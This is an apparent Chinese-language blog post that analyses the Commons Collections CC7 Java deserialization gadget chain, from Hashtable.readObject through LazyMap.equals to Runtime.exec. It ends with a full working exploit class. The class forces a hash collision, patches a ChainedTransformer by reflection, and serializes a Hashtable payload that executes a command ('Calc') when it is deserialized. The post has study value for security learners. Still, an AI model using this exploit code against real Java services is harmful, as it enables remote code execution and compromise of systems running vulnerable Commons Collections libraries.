首页 > 编程语言 >Java反序列化 CC7链

Java反序列化 CC7链

时间:2023-12-06 22:04:08浏览次数:32  
标签:LazyMap Java HashMap CC7 Object equals new 序列化 class

参考链接

https://blog.csdn.net/qq_35733751/article/details/119862728
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections7.java
https://y0n3er.github.io/undefined/45911.html

环境搭建

Commons Collections 3.2.1
JDK8u65

利用链分析

/*
Payload method chain:

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/

后半段是CC1-LazyMap,前半段是新东西,我们分析一下
首先涉及类的继承关系,当前类不存在的方法会到父类去找。

  • AbstractMapDecorator => LazyMap
  • AbstractMap => HashMap
  • lazyMap.equals 会调用 AbstractMapDecorator.equals
  • HashMap.equals 会调用 AbstractMap.equals

所以上面的chain实际上,可以把两个父类换成子类来理解

/*
Payload method chain:

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
LazyMap.equals
HashMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/

链子很短,但是里面构造传参其实挺绕的,具体看下面编写Exp吧。

Exp编写

CC1-LazyMap前半段

将问题转化成,怎么调用LazyMap.get("xxx");

Transformer[] transformers =  new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.put("key1","value1");
lazyMap.get("jasper");

image.png

AbstractMap#equals

AbstractMap是HashMap的父类,调HashMap.equals就会调到AbstractMap.equals
而equals里面会调到m.get(key),m是传进来的参数o的临时变量,key是当前hashMap里某个entry的键名,也就是说调hashMap.equals(lazyMap)就会调到lazyMap.get(hashMap.key)
于是将问题转化成调用hashMap.equals(lazyMap)
image.png

AbstractMapDecorator#equals

AbstractMapDecorator是LazyMap的父类,我们调用LazyMap.equals就会调用AbstractMapDecorator.equals,而AbstractMapDecorator.equals会调用map.equals()
这里的map指的是,LazyMap初始化以后,调用decorate函数,用来装饰lazyMap的Map对象
那我们给map传hashMap,给object传lazyMap,就变成hashMap.equals(lazyMap)
现在将问题变成如何调用LazyMap.equals(lazyMap)
image.png
这个时候我们可以先编写Exp,测试一下链条是否有用

Transformer[] transformers =  new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap1 = new HashMap<>();
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer);
lazyMap1.put("key1","value1");
HashMap<Object,Object> hashMap2 = new HashMap<>();
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer);
lazyMap2.put("key2","value2");

lazyMap1.equals(lazyMap2);

image.png

Hashtable#reconstitutionPut

最后找到Hashtable#reconstitutionPut的函数,函数作用是把反序列化后的键值对存到哈希表里。
tab是空的Entry数组,存反序例化之后的entry,key和value是当前要往tab里put的entry的键和值。
计算当前key的hash和index,然后遍历tab,判断数组里是否有和要put的entry相同hash值、key名的entry,如果有相同的hash值,就会走到下一个条件e.key.equals(key),这里如果数组里的entry的key(e.key)传lazyMap1,要put的entry的key(key)传lazyMap2,这个判断就会变成调用lazyMap1.equals(lazyMap2)。
于是就把问题转换下面的逻辑

reconstitutionPut(tab, lazyMap1,1);
reconstitutionPut(tab, lazyMap2,1);
其中还需要lazyMap1和lazyMap2的hashCode相同,涉及hash碰撞

image.png
这里也不卖关子,最后只需要这样设置两个lazyMap的key和value就可以实现hash碰撞

lazyMap1.put("yy",1);
lazyMap2.put("zZ",1);

调试会发现第二个put调用了会提前触发链条,这是在CC6里遇到过的问题,解决方法是一样的

  • 改chainedTransformer保证本地不执行代码
  • put提前调用完之后,利用反射改回可执行代码的chainedTransformer
  • 删除因为lazyMap特性添加的、多余的key

最终exp如下

public class TestCC7 {
    public static void main(String[] args) throws Exception{

        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };

        Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        HashMap<Object,Object> hashMap1 = new HashMap<>();
        HashMap<Object,Object> hashMap2 = new HashMap<>();
        LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer);
        LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer);

        lazyMap1.put("yy",1);
        lazyMap2.put("zZ",1);
//        lazyMap1.equals(lazyMap2);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1,1);
        //第二次put会提前触发链条
        hashtable.put(lazyMap2,1);
        // 反射调整chainedTransformer
        Class c = ChainedTransformer.class;
        Field field = c.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
//        // 删除多余的key
        lazyMap2.remove("yy");

        serialize(hashtable);
        unserialize();
    }
    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }

    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }
}

总结

这条链子确实有点绕,一开始我以为很快就能搞定,后面发现没那么简单。
记住Hashtable这个入口类吧。

标签:LazyMap,Java,HashMap,CC7,Object,equals,new,序列化,class
From: https://www.cnblogs.com/jasper-sec/p/17880628.html

相关文章

  • Shiro550 反序列化
    参考链接https://www.bilibili.com/video/BV1iF411b7bD环境搭建搭环境看的这位师傅的,有图有步骤,爱了。https://fireline.fun/2021/05/21/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90(%E4%B8%80)-Shiro550/漏洞原理摘要shiro550在hvv的......
  • fastjson反序列化
    前言fastjson是阿里巴巴旗下的一个Java库,用于Java对象和JSON字符串之间的转换。这个库从2017-2022年,陆陆续续爆出了20多个反序列化RCE。官方采用黑名单的方式修复漏洞,这导致出现一系列的bypass==序列化分析packagePojo;importjava.util.Properties;publicclassUser......
  • java反序列化 ROME链
    环境搭建jdk8u181<dependencies><dependency><groupId>rome</groupId><artifactId>rome</artifactId><version>1.0</version></dependency></dependencies>利用链分析ROME反序列......
  • Java二次反序列化
    前言题目hookresolveClass存在入口类黑名单,就可以用二次反序列化绕过,例如巅峰极客的babyurl。本质是,A类的a方法,内部可以实现反序列化,并且要反序列化的对象我们可控;在B入口类被禁用的情况下,通过把要反序列化的恶意对象b放入A类,用没被禁用的入口类C的readObject,去调用A类的a方法......
  • Java反序列化 CC4链
    参考链接https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections4.javahttps://www.bilibili.com/video/BV1NQ4y1q7EU环境搭建CommonCollections4jdk8u65利用链分析看了下ysoserial的exp,其实就是CC3的代码执行+Common.Co......
  • Java反序列化 CC2链
    参考链接https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections2.java环境搭建CommonCollections4jdk8u65利用链分析这条链子是利用invokerTransformer触发templates.newTransformer(),进而触发TemplatesImpl代码执行Gadg......
  • Java反序列化 CC5链
    参考链接https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java环境搭建Commons.Collections3.2.1jdk8u65利用链分析后面都和CC1-LazyMap一样,前面的话,改了下调用lazyMap.get的函数和入口类,没啥好分析的/* Gadget......
  • java JDK7 Date
    packagenet.elaina.Date01;importjava.util.Date;importjava.util.Random;publicclassTest02{publicstaticvoidmain(String[]args){/*需求1:打印时间原点开始一年之后的时间需求2:定义任意两个Date对象,比较一下哪个时间在前,哪个时间在后*......
  • Java登陆第十九天——HTML规范与语法
    使用IDEA新建一个空的Web项目,并填写路径与项目名称进入项目后,在根目录新建一个HTML页面,取名为index就可以得到一个最基础的HTML页面在IDEA中,使用浏览器打开此页面页面内容如下:如何修改浏览器选项File-Settings-Tools-WebBrowsersHTML页面规范标签<>一对这样的......
  • JAVA操作Redis工具类
    importlombok.extern.slf4j.Slf4j;importorg.springframework.beans.factory.annotation.Autowired;importorg.springframework.data.redis.core.RedisTemplate;importorg.springframework.stereotype.Component;importorg.springframework.util.CollectionUtils;im......